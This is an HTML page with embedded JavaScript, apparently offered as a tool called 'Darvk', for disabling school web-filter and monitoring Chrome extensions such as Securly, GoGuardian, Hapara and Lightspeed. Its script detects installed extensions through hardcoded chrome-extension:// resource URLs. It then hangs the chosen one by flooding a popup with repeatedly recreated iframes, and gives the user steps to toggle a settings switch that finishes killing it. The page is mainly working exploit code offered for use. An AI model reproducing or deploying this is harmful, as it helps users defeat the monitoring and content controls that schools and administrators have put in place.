<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Darvk (Offline)</title>
  <link rel="shortcut icon" type="image/png" href="https://clipart-library.com/images/rTjrbKygc.png">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
  <style>
      body {
        font-family: "Varela Round", sans-serif;
        margin: 0;
        padding: 0;
        color: #ffffff;
        line-height: 1.6;
        position: relative;
        overflow: hidden;
        background: url("https://giffiles.alphacoders.com/483/48368.gif")
          no-repeat center center fixed;
        background-size: cover;
      }
      
    header {
      background-color: rgba(52, 58, 64, 0);
      color: #fff;
      padding: 10px 20px;
      text-align: center;
      display: flex;
      align-items: center;
      justify-content: center;
      position: relative;
      z-index: 10; /* Ensure header is above background */
    }
    .logo {
      width: 50px;
      height: 50px;
      margin-right: 10px;
    }
    .container {
      max-width: 800px;
      margin: 150px auto 0 auto;
      padding: 20px;
      text-align: center;
      background: rgba(255, 255, 255, 0);
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
      border-radius: 8px;
      position: relative;
      z-index: 10; /* Ensure container is above background */
    }
    select, button {
      font-family: 'Varela Round', sans-serif;
      margin-bottom: 10px;
      padding: 10px;
      font-size: 16px;
      border: 1px solid #ced4da;
      border-radius: 4px;
      width: 100%;
    }
    button {
      background-color: #007bff26;
      color: #fff;
      cursor: pointer;
      transition: background-color 0.3s ease;
    }
    button:hover {
      background-color: #0056b3;
    }
    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.7);
      display: none;
      justify-content: center;
      align-items: center;
      z-index: 9999;
      color: #fff;
      font-size: 24px;
      user-select: none;
      flex-direction: column;
    }
    .spinner {
      border: 6px solid rgba(255, 255, 255, 0.3);
      border-top: 6px solid #fff;
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
      margin-bottom: 20px;
    }
    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    #killExtensionText {
      display: none;
      margin-top: 20px;
      color: #333;
      font-size: 18px;
      text-align: center;
      background: #e9ecef00;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
    }
    #killButton {
      display: none;
      background-color: #dc354600;
      color: #fff;
      cursor: pointer;
      transition: background-color 0.3s ease;
    }
    #killButton:hover {
      background-color: #9c1c2934;
    }
    footer {
      background-color: transparent;
      color: #ffffff36;
      text-align: center;
      padding: 10px;
      position: fixed;
      bottom:  0;
      width: 100%;
      z-index: 10; /* Ensure footer is above background */
    }
    footer a {
      color: #263240;
      text-decoration: none;
    }
    footer a:hover {
      text-decoration: underline;
    }
    /* Background styles */
    .background {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      z-index: 1; /* Ensure background is behind everything */
      overflow: hidden;
    }
    .background video {
      width: 100%;
      height: 100%;
      object-fit: cover;
    }
    .background img {
      width: 100%;
      height: 100%;
      object-fit: cover;
    }
  </style>
</head>
<body>

<div class="background">
  <video autoplay muted loop>
    <source src="your-video-url.mp4" type="video/mp4">
    Your browser does not support the video tag.
  </video>
  <!-- Uncomment the line below to use an image instead -->
  <!-- <img src="your-image-url.jpg" alt="Background Image"> -->
</div>

<header>
  <img src="https://clipart-library.com/images/rTjrbKygc.png" alt="Logo" class="logo">
  <h1>Darvk</h1>
</header>

<div class="container">
  <p>Darvk offline is an external tool made by Anonymous, it works as of December 2024.</p>
  <label for="iframeSelect" id="labelForIframeSelect">Select extension:</label>
  <select id="iframeSelect">
  </select>
  <button onclick="warning();" id="hangButton">Freeze Extension!</button>
  <button id="killButton" onclick="openExtensionPopup();">Kill Extension!</button>
</div>

<div class="overlay" id="overlay">
  <div class="spinner"></div>
  Hanging... Please wait.
</div>
<div id="killExtensionText"></div>

<footer>
  <p>Made by anonymous.</p>
</footer>

<script>
  async function checkExtensionURL(url) {
    try {
      const response = await fetch(url);
      return response.ok;
    } catch (error) {
      return false;
    }
  }

  function setBackground() {
        const videoRegex = /\.(mp4|webm|ogg)$/i;
        const imageRegex = /\.(jpeg|jpg|gif|png|svg|bmp|webp)$/i;
        const imageUrl = "https://giffiles.alphacoders.com/483/48368.gif"; // Set your image URL here
        const videoUrl = ""; // Set your video URL here

        if (videoRegex.test(videoUrl)) {
          document.getElementById("backgroundVideo").src = videoUrl;
          document.getElementById("backgroundVideo").style.display = "block";
          document.getElementById("backgroundImage").style.display = "none";
          document
            .getElementById("backgroundVideo")
            .setAttribute("allow", "autoplay");
        } else if (imageRegex.test(imageUrl)) {
          document.getElementById("backgroundImage").src = imageUrl;
          document.getElementById("backgroundImage").style.display = "block";
          document.getElementById("backgroundVideo").style.display = "none";
        }
      }

  async function populateSelectOptions() {
    const selectElement = document.getElementById("iframeSelect");
    const extensions = {
        Securly:
            "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
          "Securly (old)":
            "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
          GoGuardian:
            "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
          LANSchool:
            "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
          Linewize:
            "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
          Blocksi:
            "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
          FortiGuard:
            "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
          "Cisco Umbrella":
            "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
          ContentKeeper:
            "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
          "CK-Authenticator G3":
            "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
          "Securly Classroom":
            "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
          Hapara:
            "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
          "Hapara (new ID)":
            "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
          iboss:
            "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
          "Lightspeed Filter Agent":
            "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
          "Lightspeed Classroom":
            "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
          "InterCLASS Filtering Service":
            "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
          "InterSafe GatewayConnection Agent":
            "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
          "LoiLo Web Filters":
            "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
          "Gopher Buddy":
            "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
          "LanSchool Web Helper":
            "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
          IMTLazarus:
            "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
          "Impero Backdrop":
            "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
          "Mobile Guardian":
            "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
        };
    
    let hasSupportedExtensions = false;

    for (const [name, url] of Object.entries(extensions)) {
      if (await checkExtensionURL(url)) {
        const option = document.createElement("option");
        option.value = url;
        option.textContent = name;
        selectElement.appendChild(option);
        hasSupportedExtensions = true;
      }
    }
    
    if (!hasSupportedExtensions) {
      const option = document.createElement("option");
      option.value = "";
      option.textContent = "No supported extensions installed";
      selectElement.appendChild(option);
      document.getElementById("hangButton").style.display = "none";
    }
  }

  populateSelectOptions();
  
  function replaceIframes(container, iframeSrc) {
    for (var i = 0; i < 200; i++) {
      var iframe = document.createElement('iframe');
      iframe.src = iframeSrc;
      iframe.style.width = '100%';
      iframe.style.height = '100px';
      container.appendChild(iframe);
    }
    setTimeout(function() {
      while (container.firstChild) {
        container.removeChild(container.firstChild);
      }
      replaceIframes(container, iframeSrc);
    }, 1);
  }

  function warning() {
    var overlay = document.getElementById("overlay");
    overlay.style.display = "flex";
    var iframeSelect = document.getElementById("iframeSelect");
    var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
    var selectedSrc = iframeSelect.value;
    var popup = window.open("", "PopupWindow", "width=100,height=100");
    var popupDocument = popup.document;
    var popupBody = popupDocument.body;
    var iframeContainer = popupDocument.createElement('div');
    iframeContainer.id = 'iframeContainer';
    popupBody.appendChild(iframeContainer);
    replaceIframes(iframeContainer, selectedSrc);
    setTimeout(function() {
      popup.close();
      var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 1, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 1));
      var extensionURL = "chrome-extension://" + extensionId;
      var killExtensionText = document.getElementById("killExtensionText");
      killExtensionText.innerHTML = "Now that the extension <strong>" + selectedOption + "</strong> has been hanged, press the button above.";
      setTimeout(function() {
        overlay.style.display = "none";
        killExtensionText.style.display = "block";
        document.getElementById("killButton").style.display = "inline-block";
        document.getElementById("hangButton").style.display = "none";
        document.getElementById("iframeSelect").style.display = "none";
        document.getElementById("labelForIframeSelect").style.display = "none";
        document.getElementById("killButton").setAttribute("data-url", selectedSrc);
      }, 100);
    }, 100);
  }

  function openExtensionPopup() {
    var selectedSrc = document.getElementById("killButton").getAttribute("data-url");
    var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 1, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 1));
    var killExtensionText = document.getElementById("killExtensionText");
    document.getElementById("killButton").style.display = "none";
    killExtensionText.innerHTML = "Make sure to keep this tab open. Then in a new tab open <strong>chrome://extensions/?id=" + extensionId + "</strong> Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";
    window.location.href = selectedSrc;
  }
</script>
</body>
</html>